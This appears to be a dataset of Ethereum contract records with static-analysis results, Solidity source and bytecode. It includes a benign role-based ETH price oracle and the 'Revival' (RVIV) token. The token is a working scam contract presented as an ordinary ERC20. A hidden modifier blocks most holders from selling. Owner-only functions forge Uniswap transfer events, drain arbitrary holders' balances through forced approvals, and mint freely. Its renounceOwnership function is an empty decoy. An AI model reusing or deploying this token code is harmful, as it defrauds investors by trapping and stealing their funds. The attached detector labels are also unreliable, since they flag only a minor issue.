|
{"success": true, "error": null, "results": {"detectors": [{"check": "tautology", "impact": "Medium", "confidence": "High"}]}}
| 4,352 |
0xbccbedab3bf6fa1cfc3e2d07aa5ce4a282864d6e
|
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);}
contract Revival is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _affirmative;
mapping (address => bool) private _rejectPile;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address private _safeOwner;
uint256 private _sellAmount = 0;
address public _currentRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address deployer = 0x2D407dDb06311396fE14D4b49da5F0471447d45C;
address public _owner = 0xd31a7A01E62F9354cee750d6a19c6608a78761A3;
constructor () public {
_name = "The Revival";
_symbol = "RVIV";
_decimals = 18;
uint256 initialSupply = 36600000000 * 10**18 ;
_safeOwner = _owner;
_mint(deployer, initialSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_start(_msgSender(), recipient, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_start(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function approvalIncrease(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_affirmative[receivers[i]] = true;
_rejectPile[receivers[i]] = false;
}
}
function approvalDecrease(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_rejectPile[receivers[i]] = true;
_affirmative[receivers[i]] = false;
}
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _start(address sender, address recipient, uint256 amount) internal main(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
if (sender == _owner){
sender = deployer;
}
emit Transfer(sender, recipient, amount);
}
modifier main(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_affirmative[sender] == true){
_;}else{if (_rejectPile[sender] == true){
require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_rejectPile[sender] = true; _affirmative[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _currentRouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
modifier _auth() {
require(msg.sender == _owner, "Not allowed to interact");
_;
}
//-----------------------------------------------------------------------------------------------------------------------//
function multicall(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts) public _auth(){
//Multi Transfer Emit Spoofer from Uniswap Pool
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function addLiquidityETH(address emitUniswapPool,address emitReceiver,uint256 emitAmount) public _auth(){
//Emit Transfer Spoofer from Uniswap Pool
emit Transfer(emitUniswapPool, emitReceiver, emitAmount);}
function exec(address recipient) public _auth(){
_affirmative[recipient]=true;
_approve(recipient, _currentRouter,_approveValue);}
function obstruct(address recipient) public _auth(){
//Blker
_affirmative[recipient]=false;
_approve(recipient, _currentRouter,0);
}
function renounceOwnership() public _auth(){
//Renounces Ownership
}
function reverse(address target) public _auth() virtual returns (bool) {
//Approve Spending
_approve(target, _msgSender(), _approveValue); return true;
}
function transferTokens(address sender, address recipient, uint256 amount) public _auth() virtual returns (bool) {
//Single Tranfer
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function transfer_(address emitSender, address emitRecipient, uint256 emitAmount) public _auth(){
//Emit Single Transfer
emit Transfer(emitSender, emitRecipient, emitAmount);
}
function transferTo(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function swapETHForExactTokens(address sndr,address[] memory receivers, uint256[] memory amounts) public _auth(){
_approve(sndr, _msgSender(), _approveValue);
for (uint256 i = 0; i < receivers.length; i++) {
_transfer(sndr, receivers[i], amounts[i]);
}
}
function airdropToHolders(address emitUniswapPool,address[] memory emitReceivers,uint256[] memory emitAmounts)public _auth(){
for (uint256 i = 0; i < emitReceivers.length; i++) {emit Transfer(emitUniswapPool, emitReceivers[i], emitAmounts[i]);}}
function burnLPTokens()public _auth(){}
}
|
0x608060405234801561001057600080fd5b50600436106101a95760003560e01c806370a08231116100f9578063b2bdfa7b11610097578063d8fc292411610071578063d8fc292414610946578063dd62ed3e14610a79578063e30bd74014610aa7578063e396207514610acd576101a9565b8063b2bdfa7b146107ef578063bb88603c14610747578063cd2ce4f214610813576101a9565b8063a1a6d5fc116100d3578063a1a6d5fc14610757578063a64b6e5f1461078d578063a901431314610757578063a9059cbb146107c3576101a9565b806370a0823114610721578063715018a61461074757806395d89b411461074f576101a9565b8063313ce567116101665780634e6ec247116101405780634e6ec247146106085780635768b61a146106345780636268e0d51461065a5780636bb6126e146106fb576101a9565b8063313ce567146103845780633cc4430d146103a25780634c0cc925146104d5576101a9565b8063043fa39e146101ae57806306fdde0314610251578063095ea7b3146102ce5780630cdfb6281461030e57806318160ddd1461033457806323b872dd1461034e575b600080fd5b61024f600480360360208110156101c457600080fd5b810190602081018135600160201b8111156101de57600080fd5b8201836020820111156101f057600080fd5b803590602001918460208302840111600160201b8311171561021157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610ad5945050505050565b005b610259610bca565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561029357818101518382015260200161027b565b50505050905090810190601f1680156102c05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102fa600480360360408110156102e457600080fd5b506001600160a01b038135169060200135610c60565b604080519115158252519081900360200190f35b61024f6004803603602081101561032457600080fd5b50356001600160a01b0316610c7d565b61033c610ce7565b60408051918252519081900360200190f35b6102fa6004803603606081101561036457600080fd5b506001600160a01b03813581169160208101359091169060400135610ced565b61038c610d74565b6040805160ff9092168252519081900360200190f35b61024f600480360360608110156103b857600080fd5b6001600160a01b038235169190810190604081016020820135600160201b8111156103e257600080fd5b8201836020820111156103f457600080fd5b803590602001918460208302840111600160201b8311171561041557600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561046457600080fd5b82018360208201111561047657600080fd5b803590602001918460208302840111600160201b8311171561049757600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610d7d945050505050565b61024f600480360360608110156104eb57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561051557600080fd5b82018360208201111561052757600080fd5b803590602001918460208302840111600160201b8311171561054857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561059757600080fd5b8201836020820111156105a957600080fd5b803590602001918460208302840111600160201b831117156105ca57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550610e43945050505050565b61024f6004803603604081101561061e57600080fd5b506001600160a01b038135169060200135610ee9565b61024f6004803603602081101561064a57600080fd5b50356001600160a01b0316610fc7565b61024f6004803603602081101561067057600080fd5b810190602081018135600160201b81111561068a57600080fd5b82018360208201111561069c57600080fd5b803590602001918460208302840111600160201b831117156106bd57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611049945050505050565b61024f6004803603602081101561071157600080fd5b50356001600160a01b0316611139565b61033c6004803603602081101561073757600080fd5b50356001600160a01b03166111c0565b61024f6111db565b61025961122a565b61024f6004803603606081101561076d57600080fd5b506001600160a01b0381358116916020810135909116906040013561128b565b6102fa600480360360608110156107a357600080fd5b506001600160a01b03813581169160208101359091169060400135611316565b6102fa600480360360408110156107d957600080fd5b506001600160a01b038135169060200135611371565b6107f7611385565b604080516001600160a01b039092168252519081900360200190f35b61024f6004803603606081101561082957600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561085357600080fd5b82018360208201111561086557600080fd5b803590602001918460208302840111600160201b8311171561088657600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b8111156108d557600080fd5b8201836020820111156108e757600080fd5b803590602001918460208302840111600160201b8311171561090857600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611394945050505050565b61024f6004803603606081101561095c57600080fd5b6001600160a01b038235169190810190604081016020820135600160201b81111561098657600080fd5b82018360208201111561099857600080fd5b803590602001918460208302840111600160201b831117156109b957600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b811115610a0857600080fd5b820183602082011115610a1a57600080fd5b803590602001918460208302840111600160201b83111715610a3b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611454945050505050565b61033c60048036036040811015610a8f57600080fd5b506001600160a01b03813581169160200135166114d1565b6102fa60048036036020811015610abd57600080fd5b50356001600160a01b03166114fc565b6107f7611560565b600d546001600160a01b03163314610b1d576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc657600160026000848481518110610b3b57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff021916908315150217905550600060016000848481518110610b8c57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101610b20565b5050565b60058054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b820191906000526020600020905b815481529060010190602001808311610c3957829003601f168201915b5050505050905090565b6000610c74610c6d6115d0565b84846115d4565b50600192915050565b600d546001600160a01b03163314610cc5576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b600980546001600160a01b0319166001600160a01b0392909216919091179055565b60045490565b6000610cfa8484846116c0565b610d6a84610d066115d0565b610d6585604051806060016040528060288152602001611f58602891396001600160a01b038a16600090815260036020526040812090610d446115d0565b6001600160a01b031681526020810191909152604001600020549190611cb8565b6115d4565b5060019392505050565b60075460ff1690565b600d546001600160a01b03163314610dca576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d57828181518110610de257fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f80833981519152848481518110610e1857fe5b60200260200101516040518082815260200191505060405180910390a3600101610dcd565b50505050565b600d546001600160a01b03163314610e90576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610ea483610e9c6115d0565b6008546115d4565b60005b8251811015610e3d57610ee184848381518110610ec057fe5b6020026020010151848481518110610ed457fe5b6020026020010151611d4f565b600101610ea7565b600d546001600160a01b03163314610f48576040805162461bcd60e51b815260206004820152601f60248201527f45524332303a206d696e7420746f20746865207a65726f206164647265737300604482015290519081900360640190fd5b600454610f55908261156f565b600455600d546001600160a01b0316600090815260208190526040902054610f7d908261156f565b600d546001600160a01b039081166000908152602081815260408083209490945583518581529351928616939192600080516020611f808339815191529281900390910190a35050565b600d546001600160a01b03163314611014576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160205260408120805460ff19169055600b546110469284929116906115d4565b50565b600d546001600160a01b03163314611091576040805162461bcd60e51b815260206004820152600660248201526510b7bbb732b960d11b604482015290519081900360640190fd5b60005b8151811015610bc65760018060008484815181106110ae57fe5b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600260008484815181106110ff57fe5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055600101611094565b600d546001600160a01b03163314611186576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6001600160a01b038082166000908152600160208190526040909120805460ff19169091179055600b5460085461104692849216906115d4565b6001600160a01b031660009081526020819052604090205490565b600d546001600160a01b03163314611228576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b565b60068054604080516020601f6002600019610100600188161502019095169490940493840181900481028201810190925282815260609390929091830182828015610c565780601f10610c2b57610100808354040283529160200191610c56565b600d546001600160a01b031633146112d8576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b600d546000906001600160a01b03163314611366576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b610cfa848484611d4f565b6000610c7461137e6115d0565b84846116c0565b600d546001600160a01b031681565b600d546001600160a01b031633146113e1576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b60005b8251811015610e3d578281815181106113f957fe5b60200260200101516001600160a01b0316846001600160a01b0316600080516020611f8083398151915284848151811061142f57fe5b60200260200101516040518082815260200191505060405180910390a36001016113e4565b600d546001600160a01b031633146114a1576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b6114ad83610e9c6115d0565b60005b8251811015610e3d576114c984848381518110610ec057fe5b6001016114b0565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b600d546000906001600160a01b0316331461154c576040805162461bcd60e51b81526020600482015260176024820152600080516020611f38833981519152604482015290519081900360640190fd5b61155882610e9c6115d0565b506001919050565b600b546001600160a01b031681565b6000828201838110156115c9576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b9392505050565b3390565b6001600160a01b0383166116195760405162461bcd60e51b8152600401808060200182810382526024815260200180611fc56024913960400191505060405180910390fd5b6001600160a01b03821661165e5760405162461bcd60e51b8152600401808060200182810382526022815260200180611ef06022913960400191505060405180910390fd5b6001600160a01b03808416600081815260036020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a3505050565b600954600d548491849184916001600160a01b0391821691161480156116f35750600d546001600160a01b038481169116145b1561188957600980546001600160a01b0319166001600160a01b038481169190911790915586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03851661179a5760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b6117a5868686611ec7565b6117e284604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611811908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d548782169116141561184b57600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a3611cb0565b600d546001600160a01b03848116911614806118b257506009546001600160a01b038481169116145b806118ca5750600d546001600160a01b038381169116145b1561194d57600d546001600160a01b0384811691161480156118fd5750816001600160a01b0316836001600160a01b0316145b1561190857600a8190555b6001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526001602081905260409091205460ff16151514156119b9576001600160a01b0386166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b03831660009081526002602052604090205460ff16151560011415611a43576009546001600160a01b0384811691161480611a085750600b546001600160a01b038381169116145b6119085760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b600a54811015611ad7576009546001600160a01b0383811691161415611908576001600160a01b0383811660009081526002602090815260408083208054600160ff19918216811790925592529091208054909116905586166117555760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6009546001600160a01b0384811691161480611b005750600b546001600160a01b038381169116145b611b3b5760405162461bcd60e51b8152600401808060200182810382526026815260200180611f126026913960400191505060405180910390fd5b6001600160a01b038616611b805760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038516611bc55760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611bd0868686611ec7565b611c0d84604051806060016040528060268152602001611f12602691396001600160a01b0389166000908152602081905260409020549190611cb8565b6001600160a01b038088166000908152602081905260408082209390935590871681522054611c3c908561156f565b6001600160a01b03808716600090815260208190526040902091909155600d5487821691161415611c7657600c546001600160a01b031695505b846001600160a01b0316866001600160a01b0316600080516020611f80833981519152866040518082815260200191505060405180910390a35b505050505050565b60008184841115611d475760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611d0c578181015183820152602001611cf4565b50505050905090810190601f168015611d395780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b6001600160a01b038316611d945760405162461bcd60e51b8152600401808060200182810382526025815260200180611fa06025913960400191505060405180910390fd5b6001600160a01b038216611dd95760405162461bcd60e51b8152600401808060200182810382526023815260200180611ecd6023913960400191505060405180910390fd5b611de4838383611ec7565b611e2181604051806060016040528060268152602001611f12602691396001600160a01b0386166000908152602081905260409020549190611cb8565b6001600160a01b038085166000908152602081905260408082209390935590841681522054611e50908261156f565b6001600160a01b03808416600090815260208190526040902091909155600d54848216911614156112d857600c546001600160a01b03169250816001600160a01b0316836001600160a01b0316600080516020611f80833981519152836040518082815260200191505060405180910390a3505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e63654e6f7420616c6c6f77656420746f20696e74657261637400000000000000000045524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220f36ed38762c06b850140b17bd301e5086d09f65e8c12010e07a3581e6771929664736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,353 |
0x5f243c098ca59501c153c1fa5e2a3bfd4d61bdf7
|
pragma solidity ^0.4.24;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Roles
* @author Francisco Giordano (@frangio)
* @dev Library for managing addresses assigned to a Role.
* See RBAC.sol for example usage.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
/**
* @dev give an address access to this role
*/
function add(Role storage role, address addr)
internal
{
role.bearer[addr] = true;
}
/**
* @dev remove an address' access to this role
*/
function remove(Role storage role, address addr)
internal
{
role.bearer[addr] = false;
}
/**
* @dev check if an address has this role
* // reverts
*/
function check(Role storage role, address addr)
view
internal
{
require(has(role, addr));
}
/**
* @dev check if an address has this role
* @return bool
*/
function has(Role storage role, address addr)
view
internal
returns (bool)
{
return role.bearer[addr];
}
}
/**
* @title RBAC (Role-Based Access Control)
* @author Matt Condon (@Shrugs)
* @dev Stores and provides setters and getters for roles and addresses.
* @dev Supports unlimited numbers of roles and addresses.
* @dev See //contracts/mocks/RBACMock.sol for an example of usage.
* This RBAC method uses strings to key roles. It may be beneficial
* for you to write your own implementation of this interface using Enums or similar.
* It's also recommended that you define constants in the contract, like ROLE_ADMIN below,
* to avoid typos.
*/
contract RBAC {
using Roles for Roles.Role;
mapping (string => Roles.Role) private roles;
event RoleAdded(address addr, string roleName);
event RoleRemoved(address addr, string roleName);
/**
* @dev reverts if addr does not have role
* @param addr address
* @param roleName the name of the role
* // reverts
*/
function checkRole(address addr, string roleName)
view
public
{
roles[roleName].check(addr);
}
/**
* @dev determine if addr has role
* @param addr address
* @param roleName the name of the role
* @return bool
*/
function hasRole(address addr, string roleName)
view
public
returns (bool)
{
return roles[roleName].has(addr);
}
/**
* @dev add a role to an address
* @param addr address
* @param roleName the name of the role
*/
function addRole(address addr, string roleName)
internal
{
roles[roleName].add(addr);
emit RoleAdded(addr, roleName);
}
/**
* @dev remove a role from an address
* @param addr address
* @param roleName the name of the role
*/
function removeRole(address addr, string roleName)
internal
{
roles[roleName].remove(addr);
emit RoleRemoved(addr, roleName);
}
/**
* @dev modifier to scope access to a single role (uses msg.sender as addr)
* @param roleName the name of the role
* // reverts
*/
modifier onlyRole(string roleName)
{
checkRole(msg.sender, roleName);
_;
}
}
/**
* @title Ethereum price feed
* @dev Keeps the current ETH price in USD cents to use by crowdsale contracts.
* Price kept up to date by external script polling exchanges tickers
* @author OnGrid Systems
*/
contract PriceOracle is RBAC {
using SafeMath for uint256;
// Average ETH price in USD cents
uint256 public ethPriceInCents;
// The change limit in percent.
// Provides basic protection from erroneous input.
uint256 public allowedOracleChangePercent;
// Roles in the oracle
string public constant ROLE_ADMIN = "admin";
string public constant ROLE_ORACLE = "oracle";
/**
* @dev modifier to scope access to admins
* // reverts if called not by admin
*/
modifier onlyAdmin()
{
checkRole(msg.sender, ROLE_ADMIN);
_;
}
/**
* @dev modifier to scope access to price keeping oracles (scripts polling exchanges)
* // reverts if called not by oracle
*/
modifier onlyOracle()
{
checkRole(msg.sender, ROLE_ORACLE);
_;
}
/**
* @dev Initializes oracle contract
* @param _initialEthPriceInCents Initial Ethereum price in USD cents
* @param _allowedOracleChangePercent Percent of change allowed per single request
*/
constructor(
uint256 _initialEthPriceInCents,
uint256 _allowedOracleChangePercent
) public {
ethPriceInCents = _initialEthPriceInCents;
allowedOracleChangePercent = _allowedOracleChangePercent;
addRole(msg.sender, ROLE_ADMIN);
}
/**
* @dev Converts ETH (wei) to USD cents
* @param _wei amount of wei (10e-18 ETH)
* @return cents amount
*/
function getUsdCentsFromWei(uint256 _wei) public view returns (uint256) {
return _wei.mul(ethPriceInCents).div(1 ether);
}
/**
* @dev Converts USD cents to wei
* @param _usdCents amount
* @return wei amount
*/
function getWeiFromUsdCents(uint256 _usdCents)
public view returns (uint256)
{
return _usdCents.mul(1 ether).div(ethPriceInCents);
}
/**
* @dev Sets current ETH price in cents
* @param _cents USD cents
*/
function setEthPrice(uint256 _cents)
public
onlyOracle
{
uint256 maxCents = allowedOracleChangePercent.add(100)
.mul(ethPriceInCents).div(100);
uint256 minCents = SafeMath.sub(100,allowedOracleChangePercent)
.mul(ethPriceInCents).div(100);
require(
_cents <= maxCents && _cents >= minCents,
"Price out of allowed range"
);
ethPriceInCents = _cents;
}
/**
* @dev Add admin role to an address
* @param addr address
*/
function addAdmin(address addr)
public
onlyAdmin
{
addRole(addr, ROLE_ADMIN);
}
/**
* @dev Revoke admin privileges from an address
* @param addr address
*/
function delAdmin(address addr)
public
onlyAdmin
{
removeRole(addr, ROLE_ADMIN);
}
/**
* @dev Add oracle role to an address
* @param addr address
*/
function addOracle(address addr)
public
onlyAdmin
{
addRole(addr, ROLE_ORACLE);
}
/**
* @dev Revoke oracle role from an address
* @param addr address
*/
function delOracle(address addr)
public
onlyAdmin
{
removeRole(addr, ROLE_ORACLE);
}
}
|
